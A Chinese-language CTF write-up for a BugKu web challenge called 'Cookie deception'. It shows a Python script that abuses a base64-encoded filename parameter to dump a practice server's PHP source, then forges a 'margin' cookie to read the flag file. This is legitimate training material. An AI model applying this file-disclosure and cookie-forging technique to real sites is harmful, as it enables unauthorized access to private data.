BugKuCTF中套路滿滿的題-------Cookie欺騙
阿新 • • 發佈:2018-12-31
這一題,首先看題目,Cookie欺騙,那麼什麼是Cookie欺騙呢?
看了網上的一些部落格後,我想可以總結一句話就是:
你在火狐成功登陸了一個賬號,並且把session_id記錄下來,轉而去其他瀏覽器登陸此賬號,但此時的登陸不需要密碼和賬號,只需要把Session_id傳給伺服器,便可成功登陸
好了,話不多說,直接上。。。
首先,介面給出的是一串字元,當我想並沒有什麼用,再看看URL上的,有引數line 和 filename,並且有一個base64編碼,將編碼解出得其值為 “keys.txt” ,這時如果改變一下filename的值會怎樣,試一試index.php(base64編碼的),還有行號line的值為2(任意數字),會發現頁面顯示了不一樣的程式碼(看來需要寫個指令碼執行一下了),指令碼執行完之後,可以看出那是一串原始碼,最後分析原始碼得:抓包在keys.php頁面構造Cookie引數margin,且margin的值為margin,傳送即得flag
1.
2.
3 .
#coding=utf-8
import requests
import re
url='http://123.206.87.240:8002/web11/index.php'
r=requests.session()
for i in range(1,20):
header = {"line":str(i), "filename" : 'aW5kZXgucGhw'}
res = r.get(url,params=header).content
print res
4.
$file = base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line = isset($_GET['line'])?intval($_GET['line']):0; if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' = > 'keys.txt', '1' = > 'index.php', ); if (isset($_COOKIE['margin']) & & $_COOKIE['margin'] == 'margin'){ $file_list[2]='keys.php'; } if (in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ? >
5.
6.